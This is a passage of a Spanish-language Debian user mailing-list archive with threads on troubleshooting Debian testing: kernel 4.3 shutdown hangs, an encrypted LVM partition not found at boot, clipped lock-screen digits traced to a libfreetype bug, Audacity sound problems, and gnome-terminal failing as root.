vuelve a funcionar correctamente.

Algo hay en el kernel 4.3 que no le gusta a GNOME :-P


A mí no me pasa. Tras actualizar testing (había una buena montonada de
paquetes, entre ellos el kernel y systemd) puedo apagar y reiniciar sin
que se quede colgado. Sí, también con GNOME :-)



Pues entonces ya si que estoy descolocado, ya que systemd si que lo 
tenía ya actualizado, y sólo me ocurre con el kernel 4.3, con el kernel 
4.2 funciona sin problemas.


Por curiosidad, he probado con el kernel 4.4 (experimental) y también me 
falla...



--
www.LinuxCounter.net

Registered user #369215

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Camaleón]

El Wed, 23 Dec 2015 18:57:23 +0100, Eduardo Rios escribió:

> El 23/12/15 a las 17:07, Camaleón escribió:

(...)

>>> Ahora, con el kernel 4.3 no consigo apagar o reiniciar el equipo. Se
>>> queda un proceso cerrandose, que no consigo saber cual es, con una
>>> cuenta de un minuto y medio hacia atrás, y conforme acaba, sigue
>>> añadiendo tiempo...
>>>
>>> Me parece que tiene que ver con login.
>>
>> Prueba a cerrar la sesión gráfica y reiniciar/apagar desde una consola.
> 
> Arrancando con el kernel en recovery mode, sin que se ejecute el entorno
> gráfico (GNOME 3), apaga sin problemas. Si ejecuto el entorno gráfico,
> falla.

Hum... curioso. Entonces ya no se trata sólo del kernel. Inicia 
normalmente con una sesión gráfica, ciérrala y apaga desde ahí.

>>> Yo ahora no puedo volver al kernel anterior, a no ser que coja el 3.16
>>> de Jessie o el 4.20 de los backports de Jessie, pero no el de Stretch.
>>
>> ¿Mande? :-?
>>
>> Puedes instalar el kernel anterior como siempre, desde los paquetes de
>> snapshot:
>>
>> http://snapshot.debian.org/binary/linux-image-4.2.0-1-amd64/
> 
> Tengo la sensación de que esto ya me lo has dicho más de una vez... y
> siempre se me olvida esta posibilidad...
> 
> Gracias, ya lo he instalado, y efectivamente, con este kernel todo
> vuelve a funcionar correctamente.
> 
> Algo hay en el kernel 4.3 que no le gusta a GNOME :-P

A mí no me pasa. Tras actualizar testing (había una buena montonada de 
paquetes, entre ellos el kernel y systemd) puedo apagar y reiniciar sin 
que se quede colgado. Sí, también con GNOME :-)

Saludos,

-- 
Camaleón

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Jose Maldonado]

El 23/12/15 a las 11:07, Eduardo Rios escribió:
> 
> Aviso por si acaso.
> 
> Los que tengáis Debian testing con kernel 4.2, si actualizáis al 
> kernel 4.3, tened la precaución de no desinstalar la versión 
> anterior demasiado pronto.
> 
> Ahora, con el kernel 4.3 no consigo apagar o reiniciar el equipo. 
> Se queda un proceso cerrandose, que no consigo saber cual es, con 
> una cuenta de un minuto y medio hacia atrás, y conforme acaba, 
> sigue añadiendo tiempo...
> 
> Me parece que tiene que ver con login.
> 
> Yo ahora no puedo volver al kernel anterior, a no ser que coja el 
> 3.16 de Jessie o el 4.20 de los backports de Jessie, pero no el de 
> Stretch.
> 

El kernel 4.3 tiene unos fallos bien extraños, en mi PC al menos,
compilarlo me deja sin poder usar VDPAU y otras extensiones de mi
gráfica Intel HD.

-- 
Dios en su Cielo, todo bien en la Tierra

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Eduardo Rios]

El 23/12/15 a las 21:21, Luis E. Arevalo R. escribió:

El 23 de diciembre de 2015, 17:02, Eduardo Rios > escribió:

Acabo de comprobar que si estando en la sesión gráfica, cierro la
sesión de usuario, y en la pantalla donde aparece el usuario donde
tocar para iniciar sesión, apago desde ahí, se apaga sin problemas.

Si intento apagar con la sesión de usuario iniciada, es cuando falla.


Otro dato a la causa: días anteriores no había tenido paciencia, ahora
tuve un poco y esperé. En todos los casos (reinicio por consola, sin
loguear y logueado; apagado por consola, sin loguear y loguead) el
sistema se reinicia o se apaga, según corresponda, pero demora poco más
de 2 minutos.

Quizá lo mío sea otro problema, pues tengo en el /fstab/ tres líneas
montando un Windows Server, y en una de las reiniciadas, me apareció el
siguiente mensaje:

*A stop job is running for /mnt/ws (tiempo parcial / tiempo total)*

En otros me aparececió un mensaje que decía que el servidor (windows)
luego de 120s no estaba respondiendo. Luego de eso comenzaba el proceso
de reiniciado o apagado.

Todo esto con el Kernel 4.3. Revisaré con detención el log para ver si
pillo algo.


En mi caso, he podido averiguar a través de consola virtual que el 
mensaje que mantiene el equipo encendido bloqueado es:


A stop job is running for Login Service

Y no acaba nunca. Cada minuto y medio de espera, añade otro minuto y medio.


--
www.LinuxCounter.net

Registered user #369215

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Eduardo Rios]

El 23/12/15 a las 16:37, Eduardo Rios escribió:


Aviso por si acaso.

Los que tengáis Debian testing con kernel 4.2, si actualizáis al kernel
4.3, tened la precaución de no desinstalar la versión anterior demasiado
pronto.

Ahora, con el kernel 4.3 no consigo apagar o reiniciar el equipo. Se
queda un proceso cerrandose, que no consigo saber cual es, con una
cuenta de un minuto y medio hacia atrás, y conforme acaba, sigue
añadiendo tiempo...


Acabo de comprobar que si estando en la sesión gráfica, cierro la sesión 
de usuario, y en la pantalla donde aparece el usuario donde tocar para 
iniciar sesión, apago desde ahí, se apaga sin problemas.


Si intento apagar con la sesión de usuario iniciada, es cuando falla.


--
www.LinuxCounter.net

Registered user #369215

Re: Debian testing y kernel 4.3 no apaga / reinicia el equipo

[Luis E. Arevalo R.]

El 23 de diciembre de 2015, 17:02, Eduardo Rios 
escribió:

> Acabo de comprobar que si estando en la sesión gráfica, cierro la sesión
> de usuario, y en la pantalla donde aparece el usuario donde tocar para
> iniciar sesión, apago desde ahí, se apaga sin problemas.
>
> Si intento apagar con la sesión de usuario iniciada, es cuando falla.
>

Otro dato a la causa: días anteriores no había tenido paciencia, ahora tuve
un poco y esperé. En todos los casos (reinicio por consola, sin loguear y
logueado; apagado por consola, sin loguear y loguead) el sistema se
reinicia o se apaga, según corresponda, pero demora poco más de 2 minutos.

Quizá lo mío sea otro problema, pues tengo en el /fstab/ tres líneas
montando un Windows Server, y en una de las reiniciadas, me apareció el
siguiente mensaje:

*A stop job is running for /mnt/ws (tiempo parcial / tiempo total)*

En otros me aparececió un mensaje que decía que el servidor (windows) luego
de 120s no estaba respondiendo. Luego de eso comenzaba el proceso de
reiniciado o apagado.

Todo esto con el Kernel 4.3. Revisaré con detención el log para ver si
pillo algo.

¡Saludos a todos!

-- 
Luis Eduardo Arevalo ReyesUser #354770
http://linuxcounter.net
Fono +56 9 54012831
http://www.luchox.cl

Re: Debian testing: no encuentra partición cifrada

[Camaleón]

El Mon, 30 Nov 2015 16:44:05 -0500, listascorreo escribió:

> El 2015-11-30 16:01, listascor...@msjs.co escribió:
>> Buen día lista...
>> 
>> Cambie los repos de estable a testing (partición cifrada con crypsetup
>> y lvm) e hice un dist-upgrade 

Me impresiona la facilidad con la gente hace ese tipo de cambios tan a la 
ligera... y más aún habiendo un volumen LVM y además, cifrado de por 
medio :-O

>> y al reiniciar  plop... sale este mensaje:
>> 
>> 
>> volumes group "nombre-volumen" not found.
>> reading all physicall volumes. This may take a while.
>> 
>>   -r ALERT!  /dev/disk/by-uuid/[the partition's uuid] does not exist
>>   Check cryptopts=source= bootarg:cat/proc/cmdline or  missing
>> modules, device:cat /proc/modules, ls/dev dropping to a shell! will
>> skip  /dev/disk/by-uuid/[the partition's uuid]
>> if you can't fix modprobe : ehci-orion not found in modules.dep

(...)

Hum... ¿has comprobado lo que te sugiere?

1/ Si existe en el sistema el volumen con el UUID que indica
2/ La línea del kernel con los datos de cryptopts
3/ Módulos que necesita el kernel y que no encuentra en la nueva versión 
que hayas instalado

>> /proc/cmdline es:
>> BOOT-IMAGE=/dev/mapper/GV--nombre-VL--nombre  ro quiet
>> 
>> modprobe 
>> ehci-orion not found

¿Desde dónde ejecutas "modprobe"? En la consola de mantenimiento te carga 
muy poquitos controladores y tienes poco margen de actuación.

>> 
>> ensaye la solución de esta pág:
>> http://www.linuxquestions.org/questions/linux-software-2/problems-
booting-from-luks-on-top-of-lvm-4175487926/
>> 
>> edite el grub con la tecla 'e' y agregué
>>  lvmwait=/dev/mapper/GV-ORSI rootdelay=20
^^^

¿Estás seguro de que ese el nombre correcto? ¿No debería ser el mismo que 
la imagen? Quizá en este caso no se trate de un problema de tiempo.

>> y sigue igual... en la opción de rescate del grub sale igual...
>> desde otra partición con otro s.o. si puedo acceder a la partición
>> cifrada.
> 
> También leí que hay que hacer un update-initramfs -u pero no puedo
> acceder al s.o. cifrado. Ademas cómo hago para cargar ese módulo.

No estoy del todo segura de que ese módulo que dice (ehci-orion) tenga 
relación directa con el problema, parece relacionado con un controlador 
USB ¿no? :-?

Saludos,

-- 
Camaleón

Re: Debian testing: no encuentra partición cifrada

[listascorreo]

El 2015-11-30 16:01, listascor...@msjs.co escribió:

Buen día lista...

Cambie los repos de estable a testing (partición cifrada con crypsetup
y lvm) e hice un dist-upgrade y al reiniciar  plop... sale este
mensaje:


volumes group "nombre-volumen" not found.
reading all physicall volumes. This may take a while.

  -r ALERT!  /dev/disk/by-uuid/[the partition's uuid] does not exist
  Check cryptopts=source= bootarg:cat/proc/cmdline or  missing
modules, device:cat /proc/modules, ls/dev
dropping to a shell! will skip  /dev/disk/by-uuid/[the partition's 
uuid]

if you can't fix
modprobe : ehci-orion not found in modules.dep

BusyBox v1.22.1 (Debian 1:1.22.0-15) built-in. Shell (ash)
Enter 'help' four a list of built-in commands
/bin/sh: can't access tty; job control turned off initramfs)

-


/proc/cmdline es:
BOOT-IMAGE=/dev/mapper/GV--nombre-VL--nombre  ro quiet

modprobe ehci-orion
not found

ensaye la solución de esta pág:
http://www.linuxquestions.org/questions/linux-software-2/problems-booting-from-luks-on-top-of-lvm-4175487926/

edite el grub con la tecla 'e' y agregué
 lvmwait=/dev/mapper/GV-ORSI rootdelay=20

y sigue igual... en la opción de rescate del grub sale igual...
desde otra partición con otro s.o. si puedo acceder a la partición 
cifrada.


También leí que hay que hacer un
update-initramfs -u
pero no puedo acceder al s.o. cifrado. Ademas cómo hago para cargar ese 
módulo.



Alguna idea...


Saludos,

Re: (SOLUCIONADO) Re: Debian testing: Numeros de la hora un poco cortados por la derecha (pantalla de bloqueo)

[Camaleón]

El Mon, 23 Nov 2015 19:45:30 +0100, Eduardo Rios escribió:

> El 23/11/15 a las 19:26, Camaleón escribió:

(...)

>>> Respecto a libfreetype, me aparece instalado libfreetype6 versión
>>> 2.6-2
>>
>> Exacto, igual que el mío, por eso me extraña. Si se me ocurre alguna
>> cosa más para probar o encuentro algo por Google, te digo.
> 
> Pues ya sé que lo que te voy a contar me vas a decir que no debe
> hacerse. Pero debe ser que ya estaban al tanto del error y ya hay una
> versión que lo corrige.

(...)

Sí, es lo que te he comentado en el mensaje¹ anterior. Y no, no debe 
hacerse, es mejor esperar que tampoco va a tardar mucho en llegar a 
testing ;-)

¹https://lists.debian.org/debian-user-spanish/2015/11/msg00293.html

Saludos,

-- 
Camaleón

Re: Debian testing: Numeros de la hora un poco cortados por la derecha (pantalla de bloqueo)

[Camaleón]

El Mon, 23 Nov 2015 18:26:44 +, Camaleón escribió:

> El Mon, 23 Nov 2015 19:15:06 +0100, Eduardo Rios escribió:

(...)

>>> ¹https://bbs.archlinux.org/viewtopic.php?id=199406
> 
>> Pues va a ser eso. freetype2 no me aparece en la lista de instalados,
>> pero tampoco en la de no instalados...
> 
> Freetype2 es el nombre genérico de la biblioteca, el paquete en Debian
> se llama libfreetype, vamos, que sólo se trata de uno :-)
> 
>> Respecto a libfreetype, me aparece instalado libfreetype6 versión 2.6-2
> 
> Exacto, igual que el mío, por eso me extraña. Si se me ocurre alguna
> cosa más para probar o encuentro algo por Google, te digo.

Vale, es ese bug, si, aunque a mí no se me manifieste (je).

El paquete que lo corrige es la versión 2.6.1-0 que aún no aparece en 
testing pero ya está en sid, así que paciencia :-)

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=804050

Saludos,

-- 
Camaleón

Re: Debian testing: Numeros de la hora un poco cortados por la derecha (pantalla de bloqueo)

[Eduardo Rios]

El 23/11/15 a las 19:00, Camaleón escribió:

El Mon, 23 Nov 2015 18:38:24 +0100, Eduardo Rios escribió:


El 23/11/15 a las 18:08, Eduardo Rios escribió:


¿Puedes enviar una foto del fondo? Así lo veo yo:

http://www.picpaste.com/23-11-15-34k3FgMA.jpg


Y aquí otra http://www.picpaste.com/IMG_20151123_183329-p7c4im57.jpg


Ya lo veo, vaya :-(

Buscando en Google encontré este hilo¹ de Archlinux donde se muestra un
problema similar y apuntan a un bug de un paquete concreto (freetype2/
libfreetype) pero en este caso ambos debemos de tener la misma versión de
ese paquete (2.6-2) y en mi caso no se presenta el problema aún cuando he
probado a seleccionar un fondo de imagen para la pantalla del bloqueo y
lo he configurado en modo "zoom" pero nada, el texto no se corta.

¹https://bbs.archlinux.org/viewtopic.php?id=199406

Saludos,



Pues va a ser eso. freetype2 no me aparece en la lista de instalados, 
pero tampoco en la de no instalados...


Respecto a libfreetype, me aparece instalado libfreetype6 versión 2.6-2

--
www.LinuxCounter.net

Registered user #369215

Re: Debian testing: Numeros de la hora un poco cortados por la derecha (pantalla de bloqueo)

[Camaleón]

El Mon, 23 Nov 2015 19:15:06 +0100, Eduardo Rios escribió:

> El 23/11/15 a las 19:00, Camaleón escribió:
>> El Mon, 23 Nov 2015 18:38:24 +0100, Eduardo Rios escribió:
>>
>>> El 23/11/15 a las 18:08, Eduardo Rios escribió:
>>>
> ¿Puedes enviar una foto del fondo? Así lo veo yo:
>
> http://www.picpaste.com/23-11-15-34k3FgMA.jpg
>>>
>>> Y aquí otra http://www.picpaste.com/IMG_20151123_183329-p7c4im57.jpg
>>
>> Ya lo veo, vaya :-(
>>
>> Buscando en Google encontré este hilo¹ de Archlinux donde se muestra un
>> problema similar y apuntan a un bug de un paquete concreto (freetype2/
>> libfreetype) pero en este caso ambos debemos de tener la misma versión
>> de ese paquete (2.6-2) y en mi caso no se presenta el problema aún
>> cuando he probado a seleccionar un fondo de imagen para la pantalla del
>> bloqueo y lo he configurado en modo "zoom" pero nada, el texto no se
>> corta.
>>
>> ¹https://bbs.archlinux.org/viewtopic.php?id=199406

> Pues va a ser eso. freetype2 no me aparece en la lista de instalados,
> pero tampoco en la de no instalados...

Freetype2 es el nombre genérico de la biblioteca, el paquete en Debian se 
llama libfreetype, vamos, que sólo se trata de uno :-)

> Respecto a libfreetype, me aparece instalado libfreetype6 versión 2.6-2

Exacto, igual que el mío, por eso me extraña. Si se me ocurre alguna cosa 
más para probar o encuentro algo por Google, te digo.

Saludos,

-- 
Camaleón

Re: Debian testing: Numeros de la hora un poco cortados por la derecha (pantalla de bloqueo)

[Camaleón]

El Sun, 22 Nov 2015 20:33:04 +0100, Eduardo Rios escribió:

> El 22/11/15 a las 18:24, Camaleón escribió:

(...)

>> Si usas algún tema personalizado de gnome-shell o has modificado
>> manualmente el estilo CSS que afecta a esta pantalla, prueba con otro
>> tema o mejor aún, con el predeterminado (Adawaita) a ver si hace lo
>> mismo.
> 
> No utilizo temas personalizados, ni he modificado ningún estilo css. De
> hecho uso el tema predeterminado (Adwaita)
> 
> http://www.picpaste.com/tema-IUTMegv3.png

Esto lo tenemos igual.
 
> Es más, he mirado las opciones de bloqueo de pantalla y no he cambiado
> nada de como viene por defecto:
> 
> http://www.picpaste.com/Bloqueo_pantalla-PRbs8UE4.png

Bueno, yo aquí tengo otras opciones.

Fondo: 
Modo → wallpaper
Ubicación del fondo → noise-texture-light.png

Bloquear la pantalla: 
Modo → wallpaper
Ubicación del bloquero de pantalla → noise-texture-light.png

Pero estas opciones parecen ser para las imágenes del fondo :-?

> E incluso he mirado las tipografías por si acaso, y no hay cambio
> alguno:
> 
> http://www.picpaste.com/Tipografias-QkdCmOev.png

No, ojo... el tipo de letra y el tamaño que se usa para la pantalla de 
bloqueo no se define desde la herramienta gnome-tweak-tool sino desde un 
archivo distinto y ahora resulta más enrevesado que antes manipularlo 
porque está comprimido en formato binario, es un despendole.

>> Crear un usuario nuevo también es una forma efectiva, rápida e indolora
>> de comprobar que el error no está dentro de perfil del actual :-)
> 
> He creado otro usuario, he cambiado a él y ocurre lo mismo...

¿Puedes enviar una foto del fondo? Así lo veo yo:

http://www.picpaste.com/23-11-15-34k3FgMA.jpg

Saludos,

-- 
Camaleón

Re: Debian testing: Numeros de la hora un poco cortados por la derecha (pantalla de bloqueo)

[Eduardo Rios]

El 23/11/15 a las 15:46, Camaleón escribió:

El Sun, 22 Nov 2015 20:33:04 +0100, Eduardo Rios escribió:


El 22/11/15 a las 18:24, Camaleón escribió:


(...)


Si usas algún tema personalizado de gnome-shell o has modificado
manualmente el estilo CSS que afecta a esta pantalla, prueba con otro
tema o mejor aún, con el predeterminado (Adawaita) a ver si hace lo
mismo.


No utilizo temas personalizados, ni he modificado ningún estilo css. De
hecho uso el tema predeterminado (Adwaita)

http://www.picpaste.com/tema-IUTMegv3.png


Esto lo tenemos igual.


Es más, he mirado las opciones de bloqueo de pantalla y no he cambiado
nada de como viene por defecto:

http://www.picpaste.com/Bloqueo_pantalla-PRbs8UE4.png


Bueno, yo aquí tengo otras opciones.

Fondo:
Modo → wallpaper
Ubicación del fondo → noise-texture-light.png

Bloquear la pantalla:
Modo → wallpaper
Ubicación del bloquero de pantalla → noise-texture-light.png

Pero estas opciones parecen ser para las imágenes del fondo :-?


E incluso he mirado las tipografías por si acaso, y no hay cambio
alguno:

http://www.picpaste.com/Tipografias-QkdCmOev.png


No, ojo... el tipo de letra y el tamaño que se usa para la pantalla de
bloqueo no se define desde la herramienta gnome-tweak-tool sino desde un
archivo distinto y ahora resulta más enrevesado que antes manipularlo
porque está comprimido en formato binario, es un despendole.


Crear un usuario nuevo también es una forma efectiva, rápida e indolora
de comprobar que el error no está dentro de perfil del actual :-)


He creado otro usuario, he cambiado a él y ocurre lo mismo...


¿Puedes enviar una foto del fondo? Así lo veo yo:

http://www.picpaste.com/23-11-15-34k3FgMA.jpg

Saludos,



Si, mira. En esta imagen se aprecia en los minutos, pero a veces en la 
hora tambien


http://www.picpaste.com/IMG_20151123_175815-A3uA9kpV.jpg

--
www.LinuxCounter.net

Registered user #369215

(SOLUCIONADO) Re: Debian testing: Numeros de la hora un poco cortados por la derecha (pantalla de bloqueo)

[Eduardo Rios]

El 23/11/15 a las 19:26, Camaleón escribió:


Freetype2 es el nombre genérico de la biblioteca, el paquete en Debian se
llama libfreetype, vamos, que sólo se trata de uno :-)


Jo, que vergüenza, menudo experto estoy hecho... ja ja ja




Respecto a libfreetype, me aparece instalado libfreetype6 versión 2.6-2


Exacto, igual que el mío, por eso me extraña. Si se me ocurre alguna cosa
más para probar o encuentro algo por Google, te digo.


Pues ya sé que lo que te voy a contar me vas a decir que no debe 
hacerse. Pero debe ser que ya estaban al tanto del error y ya hay una 
versión que lo corrige.


Me ha dado por activar el repositorio inestable, y he buscado 
libfreetype6, y estaba disponible la versión 2.6.1-0.1


La he marcado para actualizar, y como no marcaba más paquetes 
dependientes de inestable, he actualizado y se ha resuelto el problema. :)


http://www.picpaste.com/IMG_20151123_193236-DA6CX3yJ.jpg


--
www.LinuxCounter.net

Registered user #369215

Re: Debian testing: Numeros de la hora un poco cortados por la derecha (pantalla de bloqueo)

[Camaleón]

El Mon, 23 Nov 2015 18:38:24 +0100, Eduardo Rios escribió:

> El 23/11/15 a las 18:08, Eduardo Rios escribió:
> 
>>> ¿Puedes enviar una foto del fondo? Así lo veo yo:
>>>
>>> http://www.picpaste.com/23-11-15-34k3FgMA.jpg
> 
> Y aquí otra http://www.picpaste.com/IMG_20151123_183329-p7c4im57.jpg

Ya lo veo, vaya :-(

Buscando en Google encontré este hilo¹ de Archlinux donde se muestra un 
problema similar y apuntan a un bug de un paquete concreto (freetype2/
libfreetype) pero en este caso ambos debemos de tener la misma versión de 
ese paquete (2.6-2) y en mi caso no se presenta el problema aún cuando he 
probado a seleccionar un fondo de imagen para la pantalla del bloqueo y 
lo he configurado en modo "zoom" pero nada, el texto no se corta.

¹https://bbs.archlinux.org/viewtopic.php?id=199406

Saludos,

-- 
Camaleón

Re: Debian testing: Numeros de la hora un poco cortados por la derecha (pantalla de bloqueo)

[Eduardo Rios]

El 23/11/15 a las 18:08, Eduardo Rios escribió:


¿Puedes enviar una foto del fondo? Así lo veo yo:

http://www.picpaste.com/23-11-15-34k3FgMA.jpg


Y aquí otra
http://www.picpaste.com/IMG_20151123_183329-p7c4im57.jpg



--
www.LinuxCounter.net

Registered user #369215

Re: Debian testing: Numeros de la hora un poco cortados por la derecha (pantalla de bloqueo)

[Eduardo Rios]

El 22/11/15 a las 18:24, Camaleón escribió:

El Sun, 22 Nov 2015 13:27:57 +0100, Eduardo Rios escribió:


Utilizo Debian Stretch con gnome 3.18.2 y hace tiempo ya, (al poco de
pasar a testing tras salir Jessie como estable) que en la pantalla de
bloqueo, sale la hora con los números un poco cortados por la derecha.

¿A alguien más le ocurre?


Acabo de actualizar mi testing y la pantalla de bloqueo aparece correcta,
con la hora en formato gigante pero sin recortar.

Si usas algún tema personalizado de gnome-shell o has modificado
manualmente el estilo CSS que afecta a esta pantalla, prueba con otro
tema o mejor aún, con el predeterminado (Adawaita) a ver si hace lo mismo.


No utilizo temas personalizados, ni he modificado ningún estilo css. De 
hecho uso el tema predeterminado (Adwaita)


http://www.picpaste.com/tema-IUTMegv3.png

Es más, he mirado las opciones de bloqueo de pantalla y no he cambiado 
nada de como viene por defecto:


http://www.picpaste.com/Bloqueo_pantalla-PRbs8UE4.png

E incluso he mirado las tipografías por si acaso, y no hay cambio alguno:

http://www.picpaste.com/Tipografias-QkdCmOev.png



Crear un usuario nuevo también es una forma efectiva, rápida e indolora
de comprobar que el error no está dentro de perfil del actual :-)


He creado otro usuario, he cambiado a él y ocurre lo mismo...


--
www.LinuxCounter.net

Registered user #369215

Re: Debian testing: Numeros de la hora un poco cortados por la derecha (pantalla de bloqueo)

[Camaleón]

El Sun, 22 Nov 2015 13:27:57 +0100, Eduardo Rios escribió:

> Utilizo Debian Stretch con gnome 3.18.2 y hace tiempo ya, (al poco de
> pasar a testing tras salir Jessie como estable) que en la pantalla de
> bloqueo, sale la hora con los números un poco cortados por la derecha.
> 
> ¿A alguien más le ocurre?

Acabo de actualizar mi testing y la pantalla de bloqueo aparece correcta, 
con la hora en formato gigante pero sin recortar.

Si usas algún tema personalizado de gnome-shell o has modificado 
manualmente el estilo CSS que afecta a esta pantalla, prueba con otro 
tema o mejor aún, con el predeterminado (Adawaita) a ver si hace lo mismo.

Crear un usuario nuevo también es una forma efectiva, rápida e indolora 
de comprobar que el error no está dentro de perfil del actual :-)

Saludos,

-- 
Camaleón

(SOLUCIONADO) Re: Debian testing (Audacity no reproduce sonidos)

[Eduardo Rios]

El 12/05/15 a las 15:24, Camaleón escribió:

El Mon, 11 May 2015 22:34:00 +0200, Eduardo Rios escribió:


Llevando Debian Jessie estable tan poco tiempo, me he decidido a saltar
a la nueva testing.

La primera en la frente:

Con gnome tengo sonido sin mayor problema, pero con Audacity, depende
del dispositivo de salida que escoja, no se escucha nada, o da error de
dispositivo.

La versión de Audacity es la misma tanto en Debian Jessie como testing.
Si restauro la copia de seguridad de Debian Jessie, el sonido funciona
perfectamente con audacity.

Si vuelvo a testing, el sonido va bien con gnome, Ryhtmbox, etc... pero
con Audacity, nada.


Prueba creando un nuevo usuario, iniciando sesión y probando Audacity
desde ahí. También puedes iniciar Audacity desde línea de comandos por si
saca algún mensajito que sea interesante.




Ejecutando audacity desde terminal, he visto bastantes mensajes, pero 
entre ellos, me han llamado la atención estos:


ALSA lib pcm_equal.c:196:(_snd_pcm_equal_open) No slave configuration 
for equal pcm
ALSA lib pcm_equal.c:196:(_snd_pcm_equal_open) No slave configuration 
for equal pcm
ALSA lib pcm_equal.c:236:(_snd_pcm_equal_open) Problem with control file 
.alsaequal.bin.
ALSA lib pcm_equal.c:236:(_snd_pcm_equal_open) Problem with control file 
.alsaequal.bin.


He ido a la carpeta del usuario. y allí había un fichero llamado 
.alsaequal.bin


Lo he tirado a la papelera y he vuelto a ejecutar audacity. Perfecto ;)

Ese fichero lo cree hace varias versiones de Debian atrás para algo, 
pero debe ser que ya no es necesario y da problemas. Asunto arreglado :)


--
www.LinuxCounter.net

Registered user #558467
has 2 linux machines


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/mj0059$rdu$1...@ger.gmane.org

Re: Debian testing (Audacity no reproduce sonidos)

[Camaleón]

El Mon, 11 May 2015 22:34:00 +0200, Eduardo Rios escribió:

 Llevando Debian Jessie estable tan poco tiempo, me he decidido a saltar
 a la nueva testing.
 
 La primera en la frente:
 
 Con gnome tengo sonido sin mayor problema, pero con Audacity, depende
 del dispositivo de salida que escoja, no se escucha nada, o da error de
 dispositivo.
 
 La versión de Audacity es la misma tanto en Debian Jessie como testing.
 Si restauro la copia de seguridad de Debian Jessie, el sonido funciona
 perfectamente con audacity.
 
 Si vuelvo a testing, el sonido va bien con gnome, Ryhtmbox, etc... pero
 con Audacity, nada.

Prueba creando un nuevo usuario, iniciando sesión y probando Audacity 
desde ahí. También puedes iniciar Audacity desde línea de comandos por si 
saca algún mensajito que sea interesante.

Saludos,

-- 
Camaleón


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/pan.2015.05.12.13.24...@gmail.com

(SOLUCIONADO) Re: Debian testing y terminal emulator (root) ¿Bug?

[Eduardo Rios]

El 07/05/14 a las #4, Eduardo Rios escribió:

El 10/10/13 00:33, Eduardo Rios escribió:

A ver si consigo explicar bien lo que me ocurre con Debian testing. A
ver si es a mi solo o es un bug.

Como usuario normal, puedo ejecutar y cerrar las veces que quiera la
aplicación terminal emulator de gnome. Sin embargo, si trato de ejecutar
la aplicación como root, funciona la primera vez: pongo la contraseña y
se abre la ventana. En cuanto la cierro, ya no la puedo volver a
ejecutar, el cursor se queda pensando unos segundos pero no aparece
ventana alguna.

Para que vuelva a funcionar, tengo que decirle a gnome cerrar sesión y
tengo que volver a loguearme. Después de ese login grafico, vuelve a
funcionar el terminal emulator como root una vez.

Y vuelta a repetir el proceso...



Bueno, pues vamos mejorando. Con las últimas actualizaciones de la
versión 3.12 de GNOME (y GNOME terminal) ya no se ejecuta como root ni
una sola vez. :(

Antes por lo menos se podía una vez :-P
En fin, paciencia... :)



Bueno, parece ser que ya ha quedado resuelto. La última versión de 
gnome-terminal que tengo es la 3.12.3-1 actualizada del 29 de junio. 
Desde entonces, seguía fallando, hasta hace unos días, entre el 18 de 
julio y el 22, que se han actualizado bastantes paquetes de gnome, de la 
versión 3.8 a la 3.12


Sin embargo, no sabría decir cual es el que lo soluciona...

--
www.LinuxCounter.net

Registered user #558467
has 2 linux machines


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/lqtsg1$mce$1...@ger.gmane.org

Re: (SOLUCIONADO) Re: Debian testing y terminal emulator (root) ¿Bug?

[Camaleón]

El Fri, 25 Jul 2014 17:18:25 +0200, Eduardo Rios escribió:

(...)

 Bueno, parece ser que ya ha quedado resuelto. La última versión de
 gnome-terminal que tengo es la 3.12.3-1 actualizada del 29 de junio.
 Desde entonces, seguía fallando, hasta hace unos días, entre el 18 de
 julio y el 22, que se han actualizado bastantes paquetes de gnome, de la
 versión 3.8 a la 3.12
 
 Sin embargo, no sabría decir cual es el que lo soluciona...

Ya te lo dije ;-P

De todas formas, aunque el bug estaba marcado para gnome-terminal la 
corrección ha podido venir de cualquier otro paquete.

Saludos,

-- 
Camaleón


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/pan.2014.07.25.15.42...@gmail.com

Re: Debian testing y terminal emulator (root) ¿Bug?

[Eduardo Rios]

El 10/10/13 00:33, Eduardo Rios escribió:

A ver si consigo explicar bien lo que me ocurre con Debian testing. A
ver si es a mi solo o es un bug.

Como usuario normal, puedo ejecutar y cerrar las veces que quiera la
aplicación terminal emulator de gnome. Sin embargo, si trato de ejecutar
la aplicación como root, funciona la primera vez: pongo la contraseña y
se abre la ventana. En cuanto la cierro, ya no la puedo volver a
ejecutar, el cursor se queda pensando unos segundos pero no aparece
ventana alguna.

Para que vuelva a funcionar, tengo que decirle a gnome cerrar sesión y
tengo que volver a loguearme. Después de ese login grafico, vuelve a
funcionar el terminal emulator como root una vez.

Y vuelta a repetir el proceso...



Bueno, pues vamos mejorando. Con las últimas actualizaciones de la 
versión 3.12 de GNOME (y GNOME terminal) ya no se ejecuta como root ni 
una sola vez. :(


Antes por lo menos se podía una vez :-P
En fin, paciencia... :)

--
www.LinuxCounter.net

Registered user #558467
has 1 linux machines

Registered Linux machine #2003003


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/536a895d.3080...@yahoo.es

Re: Debian testing: paquete modemmanager que no se actualiza

[Eduardo Rios]

El 05/04/14 15:16, Camaleón escribió:

El Fri, 04 Apr 2014 20:51:09 +0200, Eduardo Rios escribió:


El 04/04/14 19:55, Camaleón escribió:


(...)


¿Diferencias entre modemmanager y wader-core? Pues a simple vista el
primero lo mantiene FreeDesktop (lo cual es una garantía de
integración)
y el segundo es un desarrollo aparte, independiente. Si no usas pincho-
módems te dará lo mismo.


Gracias. No, normalmente no uso pincho-modems. En muy pocas veces he
necesitado usar alguno, ya que dispongo de fibra óptica, y anteriormente
